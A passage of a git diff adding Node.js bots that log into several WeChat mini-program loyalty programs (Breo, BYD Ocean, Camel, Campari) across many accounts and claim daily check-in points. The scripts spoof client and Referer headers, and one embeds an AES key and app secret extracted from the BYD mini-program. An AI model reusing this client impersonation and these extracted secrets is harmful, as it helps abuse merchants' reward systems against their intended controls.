version 等,非个人凭证。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("倍轻松签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "bqs"; +const MINI_APP_ID = "wx61457400e4212cec"; +const PAGE_VERSION = "390"; +const LOGIN_BASE = "https://breoplus.breo.cn/app/minic"; +const APP_BASE = "https://breoplus.breo.cn/breo-app"; +const TOKEN_CACHE_FILE = path.join(__dirname, "bqs_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = (code) => `${LOGIN_BASE}/login/${encodeURIComponent(code)}`; +const EP_LOGIN_BY_UID = `${APP_BASE}/customer/loginByUid`; +const EP_PUNCH = `${APP_BASE}/user/po-task-info/punch`; +const EP_MALL = `${APP_BASE}/user/po-task-info/mall`; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 220) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function isSuccess(r) { + if (!r || typeof r !== "object") return false; + return r.success === true || ["0000", "200", "200.0"].includes(String(r.code)); +} +function isAuthErr(msg) { + return /40101|40102|token|登录|未登录|授权|过期|失效|未认证|请重新/i.test(String(msg || "")); +} + +function appHeaders(token) { + const h = { + "User-Agent": UA, + "Content-Type": "application/json", + deviceInfo: "{}", + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + }; + if (token) h.token = token; + return h; +} +function taskHeaders(token) { + return { + token, + "device-type": "Xiaomi", + "device-version": "10", + channel: "Breo", + version_code: "30201", + version: "3.2.1", + encrypt: "1", + "Content-Type": "application/json; charset=UTF-8", + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "User-Agent": UA, + }; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + // 第一步:code 换取 uid / openId / unionId + const r1 = await axios.request({ + method: "GET", url: EP_LOGIN(code), headers: appHeaders(), + timeout: 20000, validateStatus: () => true, + }); + const d1 = r1.data || {}; + if (String(d1.code) !== "200" || !d1.data) throw new Error(`code登录失败: ${short(d1)}`); + const u = d1.data || {}; + const uid = u.uid, openId = u.openId, unionId = u.unionId; + if (!uid) throw new Error(`登录响应缺少uid: ${short(d1)}`); + // 第二步:uid 换取业务 token + const r2 = await axios.request({ + method: "POST", url: EP_LOGIN_BY_UID, headers: appHeaders(), + data: { uid, openId, unionId }, timeout: 20000, validateStatus: () => true, + }); + const d2 = r2.data || {}; + const result = d2.result || {}; + if (!isSuccess(d2) || !result.token) { + const msg = d2.message || d2.msg || short(d2); + if (/注册|未激活|绑定|会员/.test(String(msg))) { this.unregistered = true; throw new Error(`NO_ACCOUNT:${msg}`); } + throw new Error(`业务token登录失败: ${msg}`); + } + this.token = String(result.token); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, uid, openId, unionId, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${u.nickname ? `:${u.nickname}` : u.telephone ? `:${u.telephone}` : ""}`); + } + async punch() { + const res = await axios.request({ + method: "POST", url: EP_PUNCH, headers: taskHeaders(this.token), + data: "", timeout: 20000, validateStatus: () => true, + }); + return res.data || {}; + } + async browseMall() { + try { + const res = await axios.request({ + method: "POST", url: EP_MALL, headers: taskHeaders(this.token), + data: "", timeout: 20000, validateStatus: () => true, + }); + const r = res.data || {}; + if (r.success === true) { + const rw = r.result || {}; + this.log(`🛒 浏览商城完成(+${rw.point ?? 0}点 / +${rw.grow ?? 0}成长)`); + } else { + const msg = r.message || r.msg || short(r); + if (/已|重复|完成/.test(String(msg))) this.log(`🛒 商城任务今日已完成(${msg})`); + } + } catch (e) { /* 附带任务失败不影响签到判定 */ } + } + async sign(retry = true) { + const res = await this.punch(); + if (res.success === true) { + const rw = res.result || {}; + return this.log(`✅ 签到成功(+${rw.point ?? 0}点 / +${rw.grow ?? 0}成长)`); + } + const msg = res.message || res.msg || short(res); + if (/已签|签到过|重复|已经|今日已|已完成/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + if (retry && isAuthErr(msg)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + const cache = readCache(); + if (cache[this.account.openid]) { delete cache[this.account.openid]; writeCache(cache); } + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msg}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + await this.browseMall(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log(`⚠️ 该微信号还没在倍轻松注册/激活会员(${String(e.message).replace(/^NO_ACCOUNT:/, "")}),先在小程序里登录一次再跑`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/bydhy.js b/wxapp/bydhy.js new file mode 100644 index 00000000..4992fa99 --- /dev/null +++ b/wxapp/bydhy.js @@ -0,0 +1,191 @@ +/* +------------------------------------------ +@Description: 比亚迪海洋(mina) - 微信小程序静默登录 + 每日签到 +cron: 51 8 * * * +------------------------------------------ +变量名:bydhy +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxf62054ec313d6f53,host mina.bydoceanauto.com): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +加密:请求体 AES-128-CBC(key/iv 固定) + base64;响应同样 AES 加密后 base64,解密再 JSON.parse(失败回退明文JSON) +请求头:Nonce/Curtime/Checksum=sha256(APPSECRET+nonce+curtime)/Appkey=hyMinaApi/X-Clienttraceid +登录 POST /?service=mina.decryptCode body=AES({code}) -> 解密得 session_id +签到 POST /?s=ForCommonUcSrv.forward&serviceDir=activity/sign/signIn + body=AES({date:"",belong_brand:"hy",session_id,app_version:"460",app_client:"mina"}) -> ret==0 成功 + ret==50010「请下载最新比亚迪APP完成账号升级」= 该账号未在比亚迪App完成升级/注册 +AES_KEY/IV、APPKEY、APPSECRET 是这家小程序固定加密常量(原脚本硬编码,非个人凭证)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("比亚迪海洋签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "bydhy"; +const MINI_APP_ID = "wxf62054ec313d6f53"; +const BASE = "https://mina.bydoceanauto.com"; +const AES_KEY = "3993014457161851"; +const AES_IV = "PDVcDRWMrBlLHTqh"; +const APPKEY = "hyMinaApi"; +const APPSECRET = "Kfl%BOk6C5PwARw8"; +const TOKEN_CACHE_FILE = path.join(__dirname, "bydhy_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const DECRYPT_CODE_URL = `${BASE}/?service=mina.decryptCode`; +const SIGN_URL = `${BASE}/?s=ForCommonUcSrv.forward&serviceDir=activity/sign/signIn`; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入缓存失败: ${e.message || e}`); + } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function aesEncrypt(text) { + const c = crypto.createCipheriv("aes-128-cbc", AES_KEY, AES_IV); + return Buffer.concat([c.update(text, "utf8"), c.final()]).toString("base64"); +} +function aesDecrypt(b64) { + try { + const d = crypto.createDecipheriv("aes-128-cbc", AES_KEY, AES_IV); + return Buffer.concat([d.update(Buffer.from(b64, "base64")), d.final()]).toString("utf8"); + } catch (e) { + return null; + } +} +function genNonce(n = 16) { + const cs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; + return Array.from({ length: n }, () => cs[Math.floor(Math.random() * cs.length)]).join(""); +} +function commonHeaders() { + const nonce = genNonce(); + const curtime = String(Math.floor(Date.now() / 1000)); + return { + "Content-Type": "application/json", + "X-Clienttraceid": `mina-${crypto.randomUUID()}`, + Nonce: nonce, + Curtime: curtime, + Checksum: crypto.createHash("sha256").update(`${APPSECRET}${nonce}${curtime}`).digest("hex"), + Appkey: APPKEY, + "User-Agent": USER_AGENT, + Xweb_xhr: "1", + Accept: "*/*", + Referer: `https://servicewechat.com/${MINI_APP_ID}/115/page-frame.html`, + }; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.sessionId = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + /** 发 AES 加密请求,返回解密后的对象 */ + async post(url, plainObj) { + const res = await axios.request({ + method: "POST", url, data: aesEncrypt(JSON.stringify(plainObj)), + headers: commonHeaders(), timeout: 20000, validateStatus: () => true, + transformRequest: [(d) => d], + }); + const t = typeof res.data === "string" ? res.data.trim() : JSON.stringify(res.data); + const dec = aesDecrypt(t); + if (dec) { try { return JSON.parse(dec); } catch (e) {} } + if (res.data && typeof res.data === "object") return res.data; + try { return JSON.parse(t); } catch (e) { return { _raw: t.slice(0, 160) }; } + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await this.post(DECRYPT_CODE_URL, { code }); + this.sessionId = res.session_id || (res.data || {}).session_id || ""; + if (!this.sessionId) throw new Error(`登录未获得 session_id: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { sessionId: this.sessionId, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + async sign(retry = true) { + const res = await this.post(SIGN_URL, { date: "", belong_brand: "hy", session_id: this.sessionId, app_version: "460", app_client: "mina" }); + const ret = Number(res?.ret); + const msg = res?.msg || res?.message || ""; + if (ret === 0) { + const d = res.data || {}; + return this.log(`✅ 签到成功${d.integral !== undefined ? `,积分 ${d.integral}` : ""}${d.continuous !== undefined ? `,连续 ${d.continuous} 天` : ""}${msg ? `(${msg})` : ""}`); + } + if (/已签|签到过|重复|已完成/.test(msg)) return this.log(`✅ 今日已签到(${msg})`); + if (ret === 50010) return this.log(`⚠️ 该微信号的比亚迪账号未完成升级/注册(${msg}),需先在比亚迪App里完成账号升级`); + if (retry && /session|登录|未授权|失效|过期|token/i.test(msg)) { + this.log("会话失效,重新登录后重试"); + this.sessionId = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败(ret=${ret}): ${msg || short(res)}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.sessionId && cached.sessionId) { this.sessionId = cached.sessionId; this.log("使用缓存session"); return; } + if (!this.sessionId) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/camel.js b/wxapp/camel.js new file mode 100644 index 00000000..4993c2cd --- /dev/null +++ b/wxapp/camel.js @@ -0,0 +1,378 @@ +/* +------------------------------------------ +@Author: sm +@Description: 骆驼 CAMEL(有赞微商城)每日签到得积分 +cron: 18 8 * * * +------------------------------------------ +变量名:camel +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行(可加 #备注,仅取 # 前的 openid) +依赖变量:wx_server_url、wx_auth +------------------------------------------ +接口契约(h5.youzan.com,有赞 SaaS 通用签到,与本仓库 yz19.js / wanyazhenxuan.js 同一套): + 静默登录 POST /wscshop/weapp/authorize.json {appId, clientBiz:"weapp_wsc", code} + -> code==0,data.{accessToken|access_token, sessionId, kdtId, nick_name, mobile} + 签到活动 GET /wscump/checkin/show_checkin_page_v2.json -> {checkinId, isShow} + 执行签到 GET /wscump/checkin/checkinV2.json?checkinId= + -> {desc, list[{infos:{title}}]};重复签到报「已达最大参与次数」 + 积分余额 GET /wscump/integral/user_points.json -> {current_points|real_points} + 公共 query:app_id / kdt_id / access_token;公共头:Extra-Data(sid/version/...) + 统一响应:code==0 成功,否则 msg 为错误原因 +------------------------------------------ +常量来源(原 YYB-GO 版 CAMEL.js 抓取,均为应用级固定常量,非个人凭证): + MINI_APP_ID=wxa82836302320ca29、kdtId=182479100(签到商城)、userVersion=3.197.5.102 + FALLBACK_CHECKIN_ID=5540097(show_checkin_page 未返回时兜底) +说明:登录仅用 wx.login code(authorize.json 内部做 code2session),smallcat 取码即可, + 不需要明文 openId/unionId,也不涉及加密手机号。签到页在分包内,接口沿用本仓库已验证 + 可用的有赞通用签到契约,未做接口盲猜。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("骆驼CAMEL签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +const MINI_APP_ID = "wxa82836302320ca29"; +const CLIENT_BIZ = "weapp_wsc"; +const KDT_ID = "182479100"; +const USER_VERSION = "3.197.5.102"; +const PAGE_VERSION = "32"; // Referer 里的版本号,仅用于伪装来源,不参与校验 +const FALLBACK_CHECKIN_ID = "5540097"; // show_checkin_page 未返回 checkinId 时兜底 +const API_BASE = "https://h5.youzan.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "camel_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const ckName = "camel"; +const WX_SERVER_URL = (process.env.wx_server_url || "http://192.168.31.196:8787").replace(/\/$/, ""); +const WX_AUTH = process.env.wx_auth || ""; + +function short(value, max = 200) { + if (value === undefined || value === null) return ""; + const text = typeof value === "string" ? value : JSON.stringify(value); + return text.length > max ? `${text.slice(0, max)}...` : text; +} + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function pickToken(data = {}) { + return data.accessToken || data.access_token || ""; +} + +function isTokenError(message) { + return /access_token|token|登录|invalid session|session/i.test(String(message || "")); +} + +function isRepeatCheckin(message) { + return /已达最大参与次数|已签到|重复签到|今日已参与|已经签到|已参与/.test(String(message || "")); +} + +// smallcat 偶发 "获取失败"(运行时会话抖动):刷新会话后间隔重试,最多 4 次 +async function getWxCode(openid) { + if (!WX_AUTH) throw new Error("未配置 wx_auth"); + const headers = { auth: WX_AUTH, "Content-Type": "application/json" }; + const body = { appid: MINI_APP_ID, openid }; + let lastMsg = ""; + for (let attempt = 0; attempt < 4; attempt++) { + if (attempt) { + try { + await axios.request({ + method: "POST", + url: `${WX_SERVER_URL}/wx/refresh`, + headers, + data: body, + timeout: 30000, + validateStatus: () => true, + }); + } catch (e) { + // 刷新失败不阻断,继续重试取 code + } + await new Promise((r) => setTimeout(r, 3000)); + } + const { status, data } = await axios.request({ + method: "POST", + url: `${WX_SERVER_URL}/wx/code`, + headers, + data: body, + timeout: 30000, + validateStatus: () => true, + }); + if (data && data.status === false) { + lastMsg = data.message || "获取失败"; + continue; + } + const code = data?.code || data?.data?.code; + if (status === 200 && code) return code; + lastMsg = `HTTP ${status}: ${short(data)}`; + } + throw new Error(`获取code失败(已重试): ${lastMsg}`); +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.openid = this.account.openid; + this.token = ""; + this.sessionId = ""; + this.cookie = ""; + this.kdtId = KDT_ID; + this.userInfo = {}; + this.checkinId = ""; + this.isShow = false; + this.signedBefore = false; + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async run() { + if (!this.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + this.log("使用缓存token"); + if (!(await this.checkToken())) { + this.removeCachedToken(); + this.log("缓存token失效,重新登录"); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.showCheckinPage(); + await this.doCheckin(); + await this.getPoints(); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.openid] = { + accessToken: this.token, + sessionId: this.sessionId, + kdtId: this.kdtId, + cookie: this.cookie, + mobile: this.userInfo.mobile || "", + nickName: this.userInfo.nick_name || this.userInfo.nickName || "", + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = ""; + this.sessionId = ""; + this.cookie = ""; + } + + applyToken(data = {}) { + this.token = pickToken(data); + this.sessionId = data.sessionId || data.session_id || ""; + this.kdtId = String(data.kdtId || data.kdt_id || KDT_ID); + // 登录响应本身不带 cookie 字段,此时不要覆盖 request() 从 Set-Cookie 抓到的值 + if (data.cookie) this.cookie = data.cookie; + } + + getHeaders(extra = {}) { + const headers = { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept": "*/*", + "Extra-Data": JSON.stringify({ + sid: this.sessionId || "", + version: USER_VERSION, + clientType: "weapp-miniprogram", + client: "weapp", + bizEnv: "wsc", + }), + ...extra, + }; + if (this.cookie) headers.Cookie = this.cookie; + return headers; + } + + getBaseParams(params = {}) { + return { + app_id: MINI_APP_ID, + kdt_id: this.kdtId, + access_token: this.token, + ...params, + }; + } + + async request({ method = "GET", path: apiPath, params = {}, data = {}, skipToken = false }) { + const options = { + method, + url: `${API_BASE}${apiPath.startsWith("/") ? apiPath : `/${apiPath}`}`, + headers: this.getHeaders(method === "POST" ? { "Content-Type": "application/json" } : {}), + timeout: 15000, + validateStatus: () => true, + }; + options.params = skipToken ? params : this.getBaseParams(params); + if (method !== "GET") options.data = data; + + const { data: result, status, headers } = await axios.request(options); + if (headers && headers["set-cookie"]) { + this.cookie = headers["set-cookie"].map((item) => item.split(";")[0]).join("; "); + } + if (status !== 200) throw new Error(`HTTP ${status}: ${short(result)}`); + if (!result || result.code !== 0) throw new Error(result?.msg || short(result)); + return result.data; + } + + async loginByWxCode() { + try { + const code = await getWxCode(this.openid); + const data = await this.request({ + method: "POST", + path: "/wscshop/weapp/authorize.json", + skipToken: true, + data: { + appId: MINI_APP_ID, + clientBiz: CLIENT_BIZ, + code, + }, + }); + this.applyToken(data); + this.userInfo = data || {}; + if (!this.token) throw new Error(`登录响应未包含 accessToken: ${short(data)}`); + this.saveCachedToken(); + this.log( + `登录成功: ${data.nick_name || data.nickName || ""} ${maskPhone(data.mobile) || ""}` + ); + } catch (e) { + this.log(`登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.request({ path: "/wscump/integral/user_points.json" }); + return true; + } catch (e) { + return false; + } + } + + async showCheckinPage() { + try { + const data = await this.request({ path: "/wscump/checkin/show_checkin_page_v2.json" }); + this.checkinId = data?.checkinId || FALLBACK_CHECKIN_ID; + this.isShow = !!data?.isShow; + // 幂等预检:仅当服务端明确给出「今日已签」标记时才跳过提交 + this.signedBefore = + data?.todayCheckin === true || data?.isCheckin === true || data?.hasCheckinToday === true; + this.log( + `签到活动: checkinId=${this.checkinId || "未获取"} isShow=${this.isShow}` + + (this.signedBefore ? " 今日已签" : "") + ); + } catch (e) { + $.log(`账号[${this.index}] 获取签到活动失败: ${e.message || e}`); + if (isTokenError(e.message || e)) this.removeCachedToken(); + // 页面接口失败时仍尝试兜底 checkinId + if (!this.checkinId) this.checkinId = FALLBACK_CHECKIN_ID; + } + } + + async doCheckin() { + if (!this.checkinId) { + this.log("未获取到 checkinId,跳过签到"); + return; + } + if (this.signedBefore) { + this.log("✅ 今日已签到,跳过提交"); + return; + } + try { + const data = await this.request({ + path: "/wscump/checkin/checkinV2.json", + params: { checkinId: this.checkinId }, + }); + const awards = (data?.list || []) + .map((item) => item?.infos?.title || item?.title) + .filter(Boolean) + .join(", "); + this.log(`✅ 签到成功: ${data?.desc || ""}${awards ? ` ${awards}` : ""}`); + } catch (e) { + const message = String(e.message || e); + if (isRepeatCheckin(message)) { + this.log(`✅ 今日已签到(${message})`); + return; + } + // 有赞签到要求先授权手机号/注册会员:属账号未注册态,非签到失败 + if (/手机号未授权|未授权手机|请先授权|未注册|未绑定|绑定手机|会员/.test(message)) { + this.log(`⚠️ 该微信号还没在骆驼(有赞)授权手机号/注册会员(${message}),先在小程序里授权登录一次再跑`); + return; + } + this.log(`❌ 签到失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } + + async getPoints() { + try { + const data = await this.request({ path: "/wscump/integral/user_points.json" }); + this.log(`当前积分: ${data?.current_points ?? data?.real_points ?? "未知"}`); + } catch (e) { + this.log(`查询积分失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/campari.js b/wxapp/campari.js new file mode 100644 index 00000000..26f82531 --- /dev/null +++ b/wxapp/campari.js @@ -0,0 +1,224 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: 金巴厘杯中空间签到 +cron: 31 8 * * * +------------------------------------------ +变量名:campari +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("金巴厘杯中空间签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wx059d0e2508ab7045"; +const PAGE_VERSION = "70"; +const API_BASE = "https://camparicrm.81680.cn"; +const TOKEN_CACHE_FILE = path.join(__dirname, "campari_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "campari"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function isTokenError(message) { + return /token|授权|登录|401|403|expire|过期|失效/i.test(String(message || "")); +} + +function rewardText(flowList) { + if (!Array.isArray(flowList) || !flowList.length) return ""; + const last = flowList[flowList.length - 1] || {}; + const point = last.leftPoint; + const day = last.signInDay; + return [ + point !== undefined ? `积分+${point}` : "", + day !== undefined ? `连续${day}天` : "", + ].filter(Boolean).join(","); +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.session = {}; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.session = cached; + $.log(`账号[${this.index}] 使用缓存token`); + if (!(await this.checkToken())) { + $.log(`账号[${this.index}] 缓存token失效,尝试刷新`); + if (!(await this.refreshToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 刷新失败,重新登录`); + } + } + } + + if (!this.session.token) { + await this.loginByWxCode(); + if (!this.session.token) return; + } + + await this.doSign(); + this.saveCachedToken(); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.session.token) return; + const cache = readTokenCache(); + cache[this.openid] = { + token: this.session.token, + openid: this.session.openid || "", + sessionKey: this.session.sessionKey || "", + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.session = {}; + } + + getHeaders(token = this.session.token) { + const headers = { + "Content-Type": "application/json", + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + }; + if (token) headers.Authorization = `Bearer ${token}`; + return headers; + } + + async request(apiPath, data = {}, token = this.session.token) { + const res = await axios.post(`${API_BASE}${apiPath}`, data || {}, { + headers: this.getHeaders(token), + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) throw new Error(`HTTP ${res.status}`); + if (Number(res.data?.code) !== 200) { + const error = new Error(res.data?.msg || `接口错误: ${res.data?.code || "unknown"}`); + error.data = res.data; + throw error; + } + return res.data; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const res = await this.request(`/cgs-api/wxApi/getCodeToSession/${encodeURIComponent(code)}`, {}, ""); + const data = res.data || {}; + this.session = { + token: data.token || "", + openid: data.openid || "", + sessionKey: data.session_key || "", + }; + if (!this.session.token) throw new Error("登录未返回token"); + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async refreshToken() { + if (!this.session.openid) return false; + try { + const res = await this.request("/cgs-api/wxApi/wechatLogin", { openid: this.session.openid }, ""); + const token = res.data?.token || res.token; + if (!token) return false; + this.session.token = token; + this.saveCachedToken(); + return true; + } catch (e) { + return false; + } + } + + async getSignInfo() { + const res = await this.request("/cgs-api/wxApi/wechatUser/wechatInfoSignIn"); + return res.data || {}; + } + + async checkToken() { + try { + await this.getSignInfo(); + return true; + } catch (e) { + return false; + } + } + + async doSign() { + try { + const info = await this.getSignInfo(); + const text = rewardText(info.pointFlowList); + if (info.todaySignInFlag) { + $.log(`账号[${this.index}] 今日已签到${text ? `,${text}` : ""}`); + return; + } + 